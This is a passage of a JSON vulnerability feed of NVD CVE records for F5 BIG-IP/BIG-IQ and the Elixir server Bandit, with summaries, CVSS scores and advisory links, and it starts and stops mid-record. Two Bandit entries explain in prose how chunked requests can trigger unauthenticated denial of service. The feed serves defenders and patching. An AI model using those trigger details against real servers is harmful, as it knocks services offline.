2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39455","cveId":"CVE-2026-39455","aliases":[],"kind":"vulnerability","title":"When the BIG-IP Configuration utility is configured to use Lightweight Directory Access Protocol (LDAP) authentication, undisclosed traffic can cause the httpd process to exhaust...","summary":"When the BIG-IP Configuration utility is configured to use Lightweight Directory Access Protocol (LDAP) authentication, undisclosed traffic can cause the httpd process to exhaust the available file descriptors.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When the BIG-IP Configuration utility is configured to use Lightweight Directory Access Protocol (LDAP) authentication, undisclosed traffic can cause the httpd process to exhaust the available file descriptors.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:41.090Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["Apache HTTP Server","F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39455","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39455","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39455","type":"primary","publishedAt":"2026-05-13T16:16:41.090Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160874","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35062","cveId":"CVE-2026-35062","aliases":[],"kind":"vulnerability","title":"An authenticated iControl SOAP user may be able to obtain information of other accounts.","summary":"An authenticated iControl SOAP user may be able to obtain information of other accounts. \n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"An authenticated iControl SOAP user may be able to obtain information of other accounts. \n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:40.400Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35062","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35062","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35062","type":"primary","publishedAt":"2026-05-13T16:16:40.400Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000159021","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34176","cveId":"CVE-2026-34176","aliases":[],"kind":"vulnerability","title":"When running in Appliance mode, an authenticated remote command injection vulnerability exists in an undisclosed iControl REST endpoint.","summary":"When running in Appliance mode, an authenticated remote command injection vulnerability exists in an undisclosed iControl REST endpoint. A successful exploit can allow the attacker to cross a security boundary.  \n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When running in Appliance mode, an authenticated remote command injection vulnerability exists in an undisclosed iControl REST endpoint. A successful exploit can allow the attacker to cross a security boundary.  \n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:39.813Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34176","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34176","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34176","type":"primary","publishedAt":"2026-05-13T16:16:39.813Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160857","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32673","cveId":"CVE-2026-32673","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in BIG-IP scripted monitors that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system...","summary":"A vulnerability exists in BIG-IP scripted monitors that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in BIG-IP scripted monitors that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:39.380Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32673","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-32673","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32673","type":"primary","publishedAt":"2026-05-13T16:16:39.380Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000161040","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-32643","cveId":"CVE-2026-32643","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects...","summary":"A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects that allow running arbitrary commands.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects that allow running arbitrary commands.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:39.213Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-32643","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-32643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32643","type":"primary","publishedAt":"2026-05-13T16:16:39.213Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160972","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20916","cveId":"CVE-2026-20916","aliases":[],"kind":"vulnerability","title":"An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system.","summary":"An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system.\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system.\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:36.210Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-iq centralized management","stacks":["F5 BIG-IP","big-iq centralized management"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-20916","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-20916","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-20916","type":"primary","publishedAt":"2026-05-13T16:16:36.210Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000158029","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39806","cveId":"CVE-2026-39806","aliases":[],"kind":"vulnerability","title":"Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in mtrudel bandit allows unauthenticated remote denial of service via worker process exhaustion.","summary":"Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in mtrudel bandit allows unauthenticated remote denial of service via worker process exhaustion.\n\n'Elixir.Bandit.HTTP1.Socket':do_read_chunked_data!/5 in lib/bandit/http1/socket.ex terminates only when the last-chunk line 0\\r\\n is followed immediately by the empty trailer line \\r\\n. RFC 9112 §7.1.2 permits zero or more trailer fields between them. When trailers are present, none of the match clauses fit: the catch-all arm computes a negative to_read, calls read_available!/2, receives <<>> on timeout, and tail-recurses with unchanged state. The worker process is pinned for the lifetime of the TCP connection.\n\nA handful of concurrent connections sending RFC-conformant chunked requests with trailer fields is sufficient to exhaust the Bandit worker pool and render the server unresponsive to all further traffic. No authentication, special headers, or large payload is required. Proxies such as NGINX and HAProxy legitimately forward trailer-bearing requests, so servers behind such proxies may be affected without any malicious client involvement.\n\nThis issue affects bandit: from 1.6.1 before 1.11.1.","detail":"Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in mtrudel bandit allows unauthenticated remote denial of service via worker process exhaustion.\n\n'Elixir.Bandit.HTTP1.Socket':do_read_chunked_data!/5 in lib/bandit/http1/socket.ex terminates only when the last-chunk line 0\\r\\n is followed immediately by the empty trailer line \\r\\n. RFC 9112 §7.1.2 permits zero or more trailer fields between them. When trailers are present, none of the match clauses fit: the catch-all arm computes a negative to_read, calls read_available!/2, receives <<>> on timeout, and tail-recurses with unchanged state. The worker process is pinned for the lifetime of the TCP connection.\n\nA handful of concurrent connections sending RFC-conformant chunked requests with trailer fields is sufficient to exhaust the Bandit worker pool and render the server unresponsive to all further traffic. No authentication, special headers, or large payload is required. Proxies such as NGINX and HAProxy legitimately forward trailer-bearing requests, so servers behind such proxies may be affected without any malicious client involvement.\n\nThis issue affects bandit: from 1.6.1 before 1.11.1.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T14:17:35.700Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"mtrudel","product":"bandit","stacks":["Mtrudel","bandit"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39806","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39806","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39806","type":"primary","publishedAt":"2026-05-13T14:17:35.700Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-rf5q-vwxw-gmrf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-39803","cveId":"CVE-2026-39803","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.","summary":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T14:17:32.633Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"mtrudel","product":"bandit","stacks":["Mtrudel","bandit"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-39803","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-39803","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39803","type":"primary","publishedAt":"2026-05-13T14:17:32.633Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 